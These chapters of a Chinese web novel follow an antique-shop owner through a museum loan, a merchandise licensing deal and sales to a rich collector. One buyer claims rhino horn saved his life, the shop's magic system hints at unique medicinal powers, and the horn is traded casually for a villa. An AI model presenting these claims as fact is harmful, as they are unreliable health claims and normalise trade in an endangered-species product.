短袖衬衫男紧跟着上前打招呼：“我是南市博物馆文化事业部的田齐。” 萧妧妧盯着名片辨别了一会，扫二维码确认过真假，不解地问：“二位找我有什么事？” 崔民说出来意：“我们这次来的目的呢，是代表南市博物馆，邀请萧老板谈一个合作。” 萧妧妧呆了呆，不敢相信自己听到了什么。 博物馆，找她，谈合作？！ 【作者有话说】 感谢读者“小露珠”,灌溉营养液 +1 感谢读者“韵月”,灌溉营养液 +2 感谢读者“糊图图图图”,灌溉营养液+6 感谢读者“木昰”,灌溉营养液 +1 127 第127章 ◎文创IP开发◎ 萧妧妧目光来回在二人脸上扫,试图找到他们开玩笑的证据。 博物馆和古董铺合作……是正经合作吗？违法的事她可不干。 眼看萧妧妧眼神越来越奇怪，崔民打断她的脑补，继续开口。 “是这样，南市博物馆在网上比较火,馆里想趁热打铁,策划一个专题展。 正好,萧老板手上有几样古董特别符合我们专题。 馆里的意思,是想和萧老板商量一下借展的事情。” 原来是借展啊……萧妧妧松了一口气。 她听说过，孟有树介绍自己的藏品时非常得意的提起,有一幅家传的古画借给博物馆展览过，学术价值就此飙升。 博物馆联系私人藏家借展,以此填补馆藏空白，增加专题展览的吸引力,这事并不罕见。 尤其那些有名气的收藏家、企业家，或多或少收到过博物馆的邀请,但是真正愿意借出的,从数量上来说,不太多。 能借给博物馆展出,说出去确实有面子,但有利也有弊。 借展之前需要一系列文物鉴定、养护，同时私人藏家要留存证据，联系专业机构制作藏品档案。 这是麻烦的一部分，另一部分则是可能存在的风险。 文物运输、鉴定、修复过程中可能存在的损坏,展览期间的保管问题，私人藏家提供展品面临的藏家信息泄露,展览结束后可能会被不法分子盯上……这一系列步骤都会带来风险。 萧妧妧回想一下,自己放在视频号里宣传的古董不少,但绝对不包括汝窑、紫砂壶等贵重物件，遂安下心。 “什么主题？要借哪件东西？”萧妧妧问。 崔民递过一个文件夹以及一本小册子。 “这是我们目前拟定的展览主题，还有一份借展协议。” 萧妧妧迟疑接过东西，先看了花里胡哨的宣传册子。 “云鬓花颜——古代女子的万千风华……”萧妧妧低声读出标题，又扫一眼册子上的图示，立刻明白过来：“你们想借的是头冠！” 崔民微笑，坦然点头：“是的，馆里看到萧老板收藏的凤冠头冠等首饰，非常希望能够达成此次合作。” 顿了顿，他环顾店铺一圈，疑惑道：“我们没在店里看到头冠，萧老板不会把东西卖出去了吧？” 萧妧妧摇头，示意他们稍等，躲进柜台下面装模作样取出几个木箱子。 取螺钿莲花冠时，她提前拿走了雕莲花东珠双簪，免得让他们看出来。 “你们先看一眼再说，”萧妧妧质疑：“我记得，博物馆有很多类似的东西吧？” 萧妧妧在博物馆见识过不少精美大气的头冠，她手上这几件绝美归绝美，但绝对没到超越博物馆藏品的地步。 她合理怀疑，对面两人被照骗了。 崔民和田齐顾不上回答，脚步不自觉上前，仔细欣赏。 “真精致啊，萧老板保养的极好，没有一处损坏。”田齐的眼睛黏在点翠凤冠上，眼神拉丝。 崔民拉了拉田齐，催他一起看过来：“快看螺钿莲花冠，里面几片花瓣竟然是砗磲做的，太精美了！” 两人看清头冠的那一刻，齐齐露出夸张表情，萧妧妧神情微囧。 两人在三件头冠前来回端详，好半晌才把话题拉回正轨。 崔民：“萧老板太谦虚了，您说的那些凤冠确实华丽，但您的藏品并不比它们差，而且很受大家欢迎。 您发布的那条视频已经百万点赞，非常破圈，我们认为可以合作一下，算是互惠互利，也可以满足远道而来的游客。” 萧妧妧又是一愣，掏出手机点开APP，卡顿过后，她终于看到了点赞数据。 “……还真是百万。”上了个热搜而已，不到一下午的时间，点赞从十七万飙升到一百一十万，并且不断上涨。 比起点赞速度，最让萧妧妧惊讶的是南市博物馆的反应速度，。 从视频发布到他们代表博物馆找上门，总共才过去几个小时啊？ 田齐腼腆笑笑，客气的说：“效率最重要。” 再慢一会，其他城市的博物馆就得不要脸的过来抢东西了，机会难得，不能错过。 萧妧妧垂眸思索，借展头冠倒是没问题，正好她也眼馋博物馆的修复技术，希望可以蹭一蹭，帮忙修一修点翠凤冠。 她转头看向田齐：“您也是为了借头冠？” 两个部门，应该不是为的一件事吧？ 田齐礼貌微笑：“我在文化产业部，确实不负责借展，这次和崔老师一起来，其实是想和您商量一下，有关螺钿头冠的文创IP开发事项。” 萧妧妧挑眉，惊诧重复：“文创IP开发？” 好陌生的词汇，文创开发也可以选择非博物馆的馆藏吗？ 田齐耐心解释：“文物IP挖掘的目的是将具有特色、辨识度、故事性的文物，提取核心元素，结合当下商业模式，对传统文化的创新传承，目前各大博物馆均在尝试开发文物IP。 网络上特别热门的文物冰箱贴、文具、胶带、衣服、帆布袋等，都属于文创的一种。” 萧妧妧点头，这些她都懂，有些文创相当有特点，她还排长队抢购过呢。 “可是，头冠不是博物馆馆藏，也可以参与吗？”她问。 田齐从包里拿出几款冰箱贴，“萧老板您看，这几款是南市博物馆网上旗舰店比较受欢迎的款式，您右手上那件就是和南市的一位藏家合作开发的IP。” 萧妧妧更惊讶了，手上这款有点像嘲讽表情包的文物在网上的热度居高不下，不仅表情包遍布各大APP，在查找南市旅游攻略里，不少游客把和这件文物合照打卡当做一个行程点。 这竟然是私人藏家的藏品！ 田齐循循善诱：“这件被网友戏称为‘王的嘲讽’的文物，是我们去年挖掘的IP，一经销售就获得了千万销量，年底结算的时候，光藏家获得的分成就达到了上千万。 这件是我们南市博物馆的爆款，网上有很多仿品，光仿品的销量就有上千件。” 听到有分成，萧妧妧来劲了。 “分成比例呢？”她问。 田齐笑眯眯递来文件：“如果萧老板同意的话，我们计划根据螺钿头冠开发出两款产品。 一款是普通的冰箱贴，材质采用螺钿工艺，售价会比普通冰箱贴稍贵，在百元左右。 另一款呢，是因为我们看到网友希望复刻出同款头冠佩戴，所以打算做出等比例、一比一还原的真头冠，材质不变，同样采用螺钿珍珠制作，售价在千元以上。 两款产品的分成稍微有点差别，冰箱贴走大众化路线，所以我们能给到藏家的分成比例是10％ 复原款头冠属于高溢价单品，我们会给到18%的比例，萧老板您觉得怎么样？” 萧妧妧在心里盘算了一阵，当然是觉得好极了。 本来只能自己偷摸戴了欣赏的东西，签下文创IP开发，以后就可以躺着数钱。 一年到头白得几百上千万，天降横财，这好事谁会拒绝？ 萧妧妧找回理智，冷静下来思索片刻，把自己能想到的问题一次性问出来。 “授权期限是多久？必需独家授权嘛？如果销量特别好，到期后续约是否可以修改比例？再一个，如果产品生产后发现销量不佳，成本亏损是否需要我来承担？ 对了，还有结算周期，一年会不会太久了，有没有短一点的？ 最后，二次创作的衍生品著作权是怎么分配？属于我还是博物馆又或者共有？” 问的越仔细，越代表合作的可能性高，田齐笑得越发灿烂。 “独家授权通常在一年至两年左右，非独家三年。续约会提前半年通知，届时会重新商量分成比例。 如果销量很好的话，藏家要求提高比例我们基本会满足。如果滞销，成本由博物馆承担。 至于萧老板在意的结算周期，目前我们合作的几位藏家，全部按照季度结算或者半年结算一次，具体看藏家需求定。 您关心的二次创作衍生品的所属权，由博物馆和藏家共享。 您可以看一下协议，分成比例和衍生品所属权规定是定死的，我们和其他藏家签约时也是这个条件。” 萧妧妧头大不已，两份文件，协议一个比一个厚。 先说借展协议，崔民要借点翠凤冠、螺钿莲花冠、青白玉牡丹冠这三件，什么保证书、传承谱系、都要准备齐全附上。 借展协议并非正式协议，而是意向协议，真正生效的正式协议是从文物经过第三方机构鉴定后，并且通过博物馆对文物的“政审”，保证来源合法以及不存在其他未知风险后开始签约。 文创IP开发要简单得多，通过鉴定后自动生效，但其中涉及的比例、条例、双方权利与义务需要仔细研究。 料想是博物馆官方合作，应该不会坑骗人，萧妧妧已然决定同意IP开发合作，反正只要把授权给出去，就没她什么事了。 但话又说回来，正是因为和博物馆合作，一旦他们使手段，萧妧妧一个人势单力薄，根本扛不住，所以必需谨慎对待。 萧妧妧一想到这些麻烦事，请他们稍坐一会，趴在柜台上研究协议上的条例。 她看不懂，但有系统。 不仅提供协议模板，还能扫描各类协议提示风险。 萧妧妧略等了一会，协议上没有写明且存在争议的细节一一列出，呈现在系统操作界面。 她要做的很简单，询问崔民和田齐，获得答复后，系统会重新提示是否有风险以及是否需要补充协议。 萧妧妧琢磨研究半天，参考了系统的建议后，果断签下螺钿莲花冠的文创IP开发。 至于借展，可借可不借，借的理由是增加曝光，提示文物知名度，不借也很简单，萧妧妧觉得麻烦。 崔民看出她的犹豫，道：“文物展出期间会同步售卖文创产品，两者相辅相成，互相成就。文物的知名度扩大了，会带动同款文创的销量。文创的销量上去了，在网上传播出去，会有更多人关注文物，继而购买文创。 当然，如果您有别的想法，可以随时终止协议。” 崔民这一番话说到了萧妧妧的心坎上。 费点事而已，看在能促进文创销量的份上，也不是不能忍受，何况能随时退出。 萧妧妧借口找东西，偷摸下载头冠的流传记录和票据，先让崔民看一眼。 然后，签下意向协议。 崔民高兴极了，握着萧妧妧的手晃了晃：“感谢萧老板，合作愉快。” 两人此次来只负责谈协议，确认藏家是否有意向，后续的流程有博物馆其他工作人员跟进。 萧妧妧送他们离开后，赶紧为借展做准备。 买保险，送头冠去拍卖行制作藏品档案，明确头冠所属权…… 萧妧妧列出待解决事项，再看一眼后面几天的安排，眼皮子一翻，哀嚎着瘫在沙发上不肯起来。 说好回老家躺平，怎么能这么忙啊。 天色擦黑，考虑到第二天要招待孟有树，萧妧妧帮大家点来晚饭外卖，头也不回地溜回家。 【作者有话说】 感谢读者“mmmosquito”,灌溉营养液 +1 感谢读者“夏夏夏夏夏夏”,灌溉营养液 +20 感谢读者“四方”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“糊图图图图”,灌溉营养液 +5 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 128 第128章 ◎无法估价◎ 持续了大半月的艳阳天终于在一个平平无奇的工作日结束。 太阳躲进厚厚云层,吹来的夏风有一丝丝凉意，隐隐夹杂泥土腥气，有下雨的征兆。 凉爽的清晨出现在炎热夏季，像一份珍贵的礼物。 萧妧妧摸了摸胳膊上的鸡皮疙瘩,快步穿过冷清古朴的月牙巷,来到188*、189号所在的死胡同口。 青砖巷子约三四十米长,盛放的凌霄和蓝雪花爬满两边院墙,风卷枝叶摇晃，掉了一地蓝的黄的花朵。 环卫工们贴心地绕过花瓣枝叶,只扫走风卷来的塑料袋，为游客保留住绝美拍照打卡环境。 不同以往的景致,可以想象有多少游客愿意在此逗留。 又是热闹的一天。 萧妧妧进入巷子深处，靠近尽头的位置摆满了一大早送来的快递。 乱七八糟的小件货收货人是孟甜甜,大箱大包裹的收件人是苏娇娇。 钥匙咔哒一声转动，推开了188号的院门,萧妧妧撸起袖子,推来小拖车分批次运快递进去。 今天有客人需要招待,萧妧妧暂时没空拆快递,于是全部堆进189号。 忙完这些,萧妧妧伸了个懒腰，为木绣球浇水，打扫院子里的浮尘。 孟甜甜打着呵欠从客房出来，道一声早上好,然后看向手表。 “萧老板，你今天来得好早啊。” 八点不到,院子已经收拾得整整齐齐,吹进来的花瓣堆在花坛里,石桌上做作的摆了一套茶具，青石板地面洒了水，青苔亮晶晶湿漉漉，不管嗅觉还是视觉，整间院子都透出清新气息。 孟甜甜扎着头发走来，试图找到自己能帮忙的地方。 “今天有客人要来？”她问。 萧妧妧点头：“有大顾客预约看古董，最近忙得厉害，好久没收拾了。” 天天收快递拆快递，院子里堆满了杂七杂八的东西，看起来不够清爽，正好借这个机会打扫一遍。 孟甜甜转了一圈，发现没什么能做的，扭身往189号走，自告奋勇帮忙拆快递分快递。 萧妧妧道一声谢，为大家点早饭，而后去小卖部计划选品填充货架。 货架总是空着不像话，万一这几天有新客人进来，哪知道是卖什么的。 冲着后门正面摆放的依然是精美的琉璃工艺品，其次是玛瑙、玉髓、玻璃制品，还有大字标明的白砂糖、精盐、药品、兵书、布匹、军大衣、宣纸、卫生纸…… 这一溜排的货架塞得满当当，对普通客人来说毫无吸引力，甚至觉得乱糟糟，看一眼都嫌浪费时间。 对异世界客人而言，却像是掉进了米缸一样幸福，恨不得全部带走。 充门面的几个货架搞定，其他便可以缓缓，萧妧妧开始查看有无顾客留言，再去看非营业时间的访客记录。 如果有，她就可以发去邀请，进小卖部的通道自动打开，提醒顾客小卖部营业了，可以上门消费。 这是系统升级、功能完善后的新福利，萧妧妧再不需要用笨拙的亮灯方式告诉顾客营业时间。 有系统检测营业状态，自动更改经营模式，全自动服务省去了她不少麻烦。 可惜功能启用后萧妧妧从没发现有人留言，甚至连陌生访客都没见过。 说到底还是客流量没跟上，真期待小卖部被人踏破门槛的那天早日到来。 胡思乱想一阵，萧妧妧找到对应功能，打开小卖部经营日志。 日志以表格形式记录了顾客上门时间，来去均精确到秒，停留时间同样精确到秒，以绿色字显示。 正感慨着新功能的便捷，然后，萧妧妧看到了万绿丛中一点红（非营业时间进入）——柳如烟。 进店时间在昨晚23时23分45秒，离店时间则是今日清晨6时59分21秒。 这小破孩怎么鬼鬼祟祟的…… 吐槽一句，萧妧妧忽然想起，清晨7点左右，不就是她刚来小卖部的时候？ 柳如烟在躲着她？ 萧妧妧调出前几天的经营日志，果不其然，每到深夜柳如烟偷摸进店，第二天或早或晚离开。 看时间，和孟甜甜的作息差不多。 也就是说，孟甜甜睡下了，柳如烟来了，孟甜甜起床了，或者萧妧妧来上班了，柳如烟又悄摸离开。 继续翻找出更早之前的记录，萧妧妧顿时明白过来是怎么回事。 她猜得没错，柳如烟被她拒绝后赌气离开，只不过坚持了一两天，网瘾少女便忍耐不住了，偷摸跑来追短剧。 萧妧妧找出为柳如烟购买的平板，APP使用记录证实了她的猜测。 想到柳如烟探头探脑溜过来，只为了玩平板追短剧，玩到天亮又踮起脚缩着脖子溜走，小老鼠似的，萧妧妧险些笑出声。 行吧，这个台阶还得她来给。 约定看货时间在十点整，九点四十五分左右，黎行聿先一步到。 他不是一个人，手上还拎了一嘟噜东西。 看清那一嘟噜是什么，萧妧妧笑容瞬间垮下来。 “这几本对投资的讲解比较浅显，适合新手读，里面的注解是我刚开始学习的时候留下的，应该对你有些帮助。” 一摞书递到自己面前，萧妧妧眼睛一扫，一共有十本专业书，本本砖头厚。 萧妧妧笑容勉强地接下了。 果然，刀子不扎在自己身上不知道疼，爱丽丝的痛苦她也感受到了。 背过身，她赶紧把书推到柜台最里侧，不出意外，它们会原样还回去。 到底是黎行聿好意，萧妧妧认真道谢，请他坐下喝茶。 茶叶刚泡开，时间走到十点整，孟有树带着两个助理溜溜达达进店了。 “萧老板，你这铺子真不错，大隐隐于市啊，既热闹又清静，差点以为找错地方。” 孟有树笑呵呵进了院子，环顾小院一圈，目光在木绣球和爬满屋顶的蓝雪花打转片刻，渐渐下移视线，挪到了琳琅满目的古董铺。 铺子里，一身浅色休闲装的黎行聿坐在楠木嵌螺钿圆桌旁，萧妧妧坐在旁边，一手执壶倒茶。 看到他来了，萧妧妧放下茶壶，笑吟吟起身来迎客。 孟有树这时才看清楚，那个打扮时髦的明媚小姑娘已经大变样。 及腰长发披散在身后，随着走动飞扬，露出成套的珍珠耳坠与项链，与身上穿着灰调的浅紫香云纱复古风套装配在一起格外温婉有气质。 左手腕因摆动发出脆响，循声望去，腕间叠戴两只镯子，一个正圈无色白月光，一个金累丝嵌珍珠镯。 一金一玉，既显富又显贵，非常讲究的搭配，两者碰撞在一起声音美妙极了。 “呦，萧老板这只白月光真不错，老物件了吧？”孟有树熟稔地搭话。 “孟先生眼睛还是那么厉害，确实有点年头了。”萧妧妧笑着应和，请他进屋坐。 帝王绿手串到底有些高调，总觉得在显摆，萧妧妧最终选择了便宜些的白月光。 不仅适合年轻女孩，而且不贵，六七百万一只，充门面足够了。 “多谢黎总，您这么忙还陪我走一趟，真是太不好意思了，今天中午我请客，您可一定要来啊。” 明知道黎行聿出现在古董铺并不是为了他，也不见得是真想看守瓶，孟有树全当不知道，热情邀请。 黎行聿这次没拒绝，爽快应下，孟有树笑眯了眼，捧起茶杯抿两口，夸赞一番后迫不及待进入正题。 萧妧妧知道他心急，早早准备好东西，胳膊一抬，示意他去看多宝格。 孟有树几乎从凳子上弹起来，快步上前，目光来回在鬼工球和寿瓶之间打量。 他一会俯身，在寿瓶右侧观察什么，一会踮起脚，伸头看瓶口位置，用手指在其中丈量。 “没错没错，是寿瓶！”孟有树只看了几眼便十分确定。 细节和爷爷描述的相符，飘绿的地方和福瓶一致，绝对是他们家祖上变卖出去的那只，做不了假。 确认是真东西，孟有树格外细致地寻找瓶子上的瑕疵。 毕竟几经辗转，历经数十年、漂泊数万里，最终落在萧妧妧手里，有损坏很正常。 照片自带美颜，拍摄效果不如照相机清晰，有细小裂纹很难看清，看到实物前，孟有树都提着心，就怕瓶子坏得太厉害。 这一通检查，上下左右看了个遍，甚至抱出瓶子颠倒翻转了几次，孟有树都没找到裂痕，一如当年卖出去时完整。 孟有树惊呆了，直呼运气好。 “不容易啊，不仅不需要修复，甚至保养得非常不错。” 灯下光泽油亮，触之细腻柔润，可见前几任主人对它有多爱惜。 太难得了！ 孟有树略显激动地抱住瓶子，这个惊喜未免也太大了。 “好好好，太好了，谢谢萧老板留下它。” 萧妧妧不敢贪功，送上传承谱系和交易票据：“可不是我的功劳，多亏它前几任主人爱惜。” 孟有树：“一样要谢，要不是萧老板收了它，我这都不知道上哪找，更不可能知道它还好好的存在。” 萧妧妧一想倒也是，要不是本着真古董收藏不亏的心态留下，孟有树难说能不能收到寿瓶。 孟有树小心翼翼放下瓶子，接过传承谱系查找起来。 “对上了对上了，福瓶寿瓶就是卖给一个姓刘的银行行长，中间又过了几手，这上面姓赵的人家，就是去博物馆捐赠福瓶的人，寿瓶是她孙子偷摸卖出去的……” 孟有树看到后面几个姓苏的前任，心情不可谓不复杂。 幸好，兜兜转转，福瓶留在了博物馆，得到了很好的保护，虽然失去了光彩，但总归在国内。寿瓶几经转手，经历坎坷了些，好歹完好无损地回来了。 孟有树平复心情，话音果断：“萧老板，寿瓶我买了。” 萧妧妧悄悄松了一口气。 她这是第一次碰见和古董有渊源的顾客，生怕系统的传承谱系出问题，孟有树确定无误，不止是他放心了，萧妧妧心里也踏实许多。 以后再遇到类似状况，她可以完全大胆买卖。 寿瓶暂且搁在一边，孟有树戴上手套，着重关注鬼工球。 材质没错，雕工技艺没错，层数十二，没有裂纹和损坏……完全附和他的要求！ 孟有树连声说好，看到标牌价格为900万，二话不说，扬声道：“萧老板，这件鬼工球我也要了！” 萧妧妧笑得脸颊疼。 孟有树可真大方，两件东西加起来将近2000万，都不带还价的。 “新店开业，孟先生又是第一次光顾，我给您九折优惠，再抹掉零头，一共1750万。” 孟有树微微点头，1750万真不算贵，比起价格，能够找到失而复得的家族传承更重要。 “谢谢谢谢，萧老板做生意果然大气。”他笑容满面的恭维，“以后再有好东西，萧老板可要记得给我留着。” 萧妧妧淡笑着应几句，便忙着打包，黎行聿凑过来帮忙，萧妧妧冲他笑了笑，没拒绝他的好意。 孟有树啧啧两声，摇着头起身。 “萧老板，您店里东西挺多啊，我再看看啊。” 萧妧妧抬起眼皮子，看他背着双手在店里溜达，抿唇偷笑。 店里东西全被她换了个遍，不信以孟有树的眼力看不出东西好坏，这回绝对让他刮目相看。 有黎行聿帮忙，萧妧妧大胆走神，时不时观察孟有树的神态。 他一会停在案几旁，一会驻足在双面绣前，一会逗留在多宝架附近。 “漂亮！这串帝王紫可真不错。” “萧老板可真会做生意，不仅有古董，还有珠宝呢，这几个蓝宝石是无烧的吧？看着就不一样。” “这是帕帕拉恰吗？不得了不得了。” 在孟有树的连连惊叹中，萧妧妧嘴角抑制不住地上扬。 黎行聿失笑，含笑的眼眸注视着她，灵动的狐狸眼波光粼粼，闪烁得意光芒。 “呦，萧老板要买房啊。”孟有树眼尖地发现柜台一角有一沓楼盘宣传单。 萧妧妧：“有这个打算，没找到合适的。” 自从买了189号院子后，家门口总会有人塞广告，加上爸妈最近也在到处看楼盘，拿来一堆单子让她选，店里便堆了不少。 这几天忙，萧妧妧没来得及看，全部塞在柜台里侧。 孟有树笑道：“萧老板不会是忘了我做什么的吧？看上哪个楼盘你跟我说一声，说不定就是我家的，到时候我也给你优惠价。” 萧妧妧想买别墅，大平层放不下她的宝贝，孟有树的话她没放在心上，说几句好听话感谢他的好意。 鬼工球和寿瓶先后打包好交给孟有树的助理，萧妧妧接过支票，1750万成功进了她的口袋。 再赚几笔，余额累积到2亿，预留出投资电影的钱和投资西风科技的钱，余下的钱她就拿去买那栋4000多万的别墅！ 想到一下子花出去一大笔，余额几乎见底，萧妧妧肉疼不已，默默祈祷秋拍顺利进行，可千万别流拍。 “萧老板！这、这是犀角吧？” 萧妧妧心疼自己的钱，一时间没能注意孟有树，听到他的惊呼后转身，才发现他从店铺西南角转到了东北角。 此时的孟有树面颊潮红，胳膊哆嗦着捧起一长木匣子，眼珠几乎瞪出眼眶。 萧妧妧惊诧挑眉，他眼睛可真厉害，放在犄角旮旯的犀牛角竟然让他发现了。 犀牛角长得丑，为了不影响店铺整体画面，萧妧妧把它藏在展示柜角落。 虽然它在古代被传得神乎其神，但是现代技术证明犀角并没有特别神奇的效果，萧妧妧自留一个，防止未来哪天需要用到，另一个则放在店里慢慢卖。 起初萧妧妧还在担心，也不知道这么玩意会不会有人买，放了一晚上后，她就把犀角抛在了脑后。 “孟先生好眼力。”萧妧妧夸赞道。 “萧老板，犀角怎么卖？”孟有树抬头看过来，眼神里的热切遮都遮不住。 萧妧妧神情空白了一瞬，“你要买犀角？” 孟有树见她表情不对，喜悦神情收敛，他迟疑着问：“……是非卖品吗？” 没等萧妧妧回应，他讪笑着挠头，嘀咕道：“也对，这么好的东西应该没人卖，救命的东西呢。” 萧妧妧听得一愣一愣，表情呆滞。 “这么好”？ “救命的东西”？ 等等，咱们是活在同一个世界吗？不是有科学技术证明了犀角并非神药吗？ 萧妧妧有好多疑惑，稍显迟疑，难道犀角真有什么不为人知的妙用？ 反正她手里还有一个，卖一个出去没什么。 “卖倒是卖的，价格嘛……” 萧妧妧越说越心虚，这玩意谁知道值多少啊，她估摸也就几十万左右吧，又不是神药，哪能卖出天价。 想是这么想，但从孟有树挖到宝一样的表现来看，萧妧妧决定谨慎一点，没想当然的定价几十万。 估价次数不多，好在剩下几个也够用，选中犀牛角，萧妧妧启动估价功能。 按照以前规律，起码要等上几秒乃至十几米不等的时间。 萧妧妧刚打算和孟有树套套话，看他是什么想法，准备花多少钱收。 下一秒，系统以前所未有的速度弹出对话框—— 【抱歉，您选中的商品无法估价】 【系统温馨提示：无法估价商品不占用估价次数，您可用估价次数剩余9次】 【作者有话说】 感谢读者“糊图图图图”,灌溉营养液+5 感谢读者“四方”,灌溉营养液+1 感谢读者“本宫凪沙”,灌溉营养液+13 129 第129章 ◎他是来进货的◎ 什么叫无法估价？ 这是她绑定系统以来最茫然的时刻,意外状况来得猝不及防，萧妧妧已然呆住。 值钱还是不值钱，倒是给个准话啊。 顾客等报价，萧妧妧赶紧回神再次询问系统。 【犀牛角药效独特,价值难以衡量,请用户根据实际情况决定商品价值】 萧妧妧：…… 话说半截,后半句她支支吾吾说不出口,孟有树见状以为是价格太高，萧妧妧不好意思开口。 他主动接话：“萧老板愿意卖就好,价格不是问题。” 不，价格是大问题！ 正为难,黎行聿插入谈话。 “孟董也相信犀角可以起死回生？” 孟有树摇头又点头：“怎么说呢，我小时候有过一次急症,烧晕过去了，那年代有点特殊,找不到机会看医生,差点死掉。是我爷爷奶奶偷偷藏了一小节犀角,刮下来一层喂我喝下去,就这一层,救了我一条命。 后来我病好了，犀角的事暴露了，中间那些事不提也罢，后来吧,爷爷奶奶就拿犀角换来一家子前程。 要不是犀角啊，我小命都没了,后来也没那个条件出去闯荡,更别说积累出现在的家业。” “挺矛盾的,有点信，也有点不那么信。后来我想找机会想买犀角，结果倒好，没人卖。我就更想不通了，既然没那么神，那为什么大家都宝贝一样的藏着？” 萧妧妧赞同的点头，如果真不值钱，系统怎么会无法估价？ 孟有树道：“我现在就不想那么多，有时候科学也不能全信，谁知道传出来的消息是真是假。” 萧妧妧挠头，这话说的，但凡换个奸商就得狠狠开价了。 “说实话，我也没想好给什么价呢，这玩意不好说。想要的人愿意豪掷千金，不需要的人白送都不要。”对上孟有树的询问视线，萧妧妧坦白交待。 孟有树点头：“这话说的没错。” 双手环胸沉思片刻，孟有树开口道：“萧老板你看这样行不行，就当是咱们朋友一场，互相送礼了。我给您安排月牙湾临湖的独栋别墅一套。 您是老南市人了，月牙湾肯定听说过，湖景山景双景观，地段绝佳，那套面积1300平左右，绝对宽敞。” 啊？ 萧妧妧半张着嘴巴，惊讶得说不出话。 月牙湾谁不知道啊，南市独一无二的，可以称作顶级豪宅的存在，一平售价在二十万左右。 看房需要验资，低于五亿连门槛都进不去。 在月牙湾买房买得就是一个身份象征，邻居非富即贵。 萧妧妧看中的那套4000万别墅和月牙湾隔了一条街，别看只有一条街，景致不同，地段不同，环境天差地别，面积连人家零头都没有。 300平两层独栋别墅挂牌价4600万，1300平独栋景观别墅，价值过亿，而且免费送，选谁不是一目了然的事？ 天降豪宅，萧妧妧惊呆了，搓着手不知道如何回应。 回应的太快，怕人家觉得犀角不值钱，回应的太慢，又担心让人误会自己太贪婪。 “萧老板要是觉得不够，我再加一套市中心的大平层，400平左右，挂牌价少说要千万呢。” 砸完别墅，又砸来一套大平层，萧妧妧无措地看向黎行聿，想听听他的建议。 黎行聿轻轻点头，萧妧妧瞬间踏实了，急忙叫停：“够了够了，您别说了，吓得我腿软。” 孟有树看她一脸呆滞的样子，哈哈笑。 “萧老板胆子太小了点，不像黎总，我砸地皮都砸不动。”他调侃。 黎行聿轻笑：“我比萧老板贪。” 孟有树不赞同的说：“什么贪不贪的，那叫不为外物所动，是美好品德。” 笑谈几句，孟有树热切地看着萧妧妧，胳膊来回比划：“萧老板同意了吧？咱们互换礼物？” 讨价还价环节结束，萧妧妧不着痕迹地松一口气，重重点头。 她运气可真好，想什么来什么。 才决定花4000万买别墅，转眼的工夫，一套更大更好更贵的别墅像馅饼一样掉进她怀里，还附带了一个大平层。 太刺激了。 萧妧妧冷静下来，连匣子带犀角一起取出展示柜。 孟有树也爽快，直接打电话通知秘书安排房产转让的事。 协议签好，互换，犀角递过去，礼物互换成功，只等萧妧妧拿到房产证。 1300平，够藏她那些宝贝了吧？ 买到心心念念的东西，孟有树对古董铺的兴致越发浓厚，拉着黎行聿一起欣赏店里古董。 见他不打算离开，萧妧妧由着他逛，自己躲柜台后面查月牙湾别墅的资料，提前了解一下业主的权利。 孟有树这里看看那里转转，一圈下来，基本收起了轻视。 “萧老板可真了不得，手里好东西不少呢。”他感叹。 黎行聿嗯了一声，目光在大变样的店铺里睃巡。 “哎呦喂，我的娘哎，这套帝王紫起刚了，怎么就这么摆出来了呢。” “黎总你瞧瞧，这件晴水绿也不得了，玻璃种，起刚了，得有千把万吧。” 孟有树越是仔细看柜台里的翡翠首饰，越是惊愕。 那一套帝王紫非同凡响，市面上找不到的收藏级，属于有钱也买不到的程度。 “萧老板，这套帝王紫你卖不卖？”孟有树生怕好东西飞了似的，急吼吼询价。 萧妧妧一听帝王紫，还是一套，马上反应过来是哪件，果断摇头：“不卖。” 这些是摆出来充门面的，她才不会傻兮兮卖出去。 孟有树遗憾地垂下眉梢，“也对，这一套没十几亿都拿不下的好东西，自己收藏还来不及，换我我也不卖。” 萧妧妧怀疑自己幻听了，“多少？” 孟有树不以为意，提高音调重复：“……十几亿啊。” 萧妧妧眼角一抽，失声惊呼：“这一套值十几亿？” 孟有树不知道她这是什么反应，一惊一乍的，老实说： “是啊，你看，这颜色种水、这净度，起刚不说还起荧了，真正的刚柔并济。 这么好品质的双效应翡翠，我真没在市面上见过，圈子里的老藏家手里都不多。 就说胖圆条镯子吧，单个卖能有八个亿，一整套更稀罕，保守估计十几个亿吧。” 萧妧妧心口噗通噗通跳，眨巴眼睛傻愣愣望着孟有树。 保守十几个亿？这是什么概念？ 她对一整套的估价在6个亿左右，孟有树敢说她都不敢听。 萧妧妧狐疑去看黎行聿，想听他的看法。 黎行聿：“孟董确实保守了，这一套十几个亿可拿不下，二十以上差不多。” 连黎行聿都这么说，可见不是假的，萧妧妧掰着手指头一算，二十亿，直接干上十位数了，嘶一声倒吸气。 有那么贵吗？ 被震惊到的萧妧妧不信邪，凑到柜台边，把没用掉的估价次数用在帝王紫上。 一秒、三秒、五秒……图片弹出，首饰套组的整套估价水灵灵地弹出来了。 看到26亿的总价，以及图片下面对每一件东西的分开估价，萧妧妧呼吸停滞半秒，而后，沉默地闭了闭眼。 26亿！ 一个镯子值9亿！ 萧妧妧无法淡定，捂住脸，回味这一刻的惊喜。 早知道这么值钱，她绝对不会拿出来显摆！ 太高调了。 一连串小动作，萧妧妧心思几乎写在脸上，孟有树看得好笑，打趣道：“怎么回事啊，萧老板也有看走眼的时候？” 萧妧妧深呼吸调整情绪，很快严肃了神情，但面颊控制不住的潮红，是羞愧的、懊恼的。 “是我学艺不精。” 幸好她没打算卖，幸好她还算谨慎，目前为止售出东西全部经过系统估价，要不然可真亏大了！ 6亿到26亿，这差距，谁听了不说一句离谱。 她只想着龙石种珍贵，不能露面，被人惦记上可就糟了，哪知道差一档的帝王紫也这么惊世骇俗。 “这套确实不错，旁边那个单串的帝王紫稍微差点，但也很不错，萧老板卖不卖？”孟有树接着问。 萧妧妧再次摇头。 她对这条的估价在一个亿出头，但是……现在看来，她的估价做不得准。 看得出好坏，看不出价格，真是丢人啊。 “萧老板的店不一般啊，瞧瞧，阳绿果绿帝王绿，连白月光和晴水绿…… 个个是大圈口胖圆条，这只起刚，那只起荧，都不是俗品，一只少说要七位数。” 可不是，不起刚起荧还卖不到那么高的价呢。 纵向比较，它们确实不如帝王绿顶级，但横向比可不差。 萧妧妧反思片刻，不觉得自己的眼光有问题，毕竟她能分辨出好坏，最终把原因归咎与自己见过的好货太多。 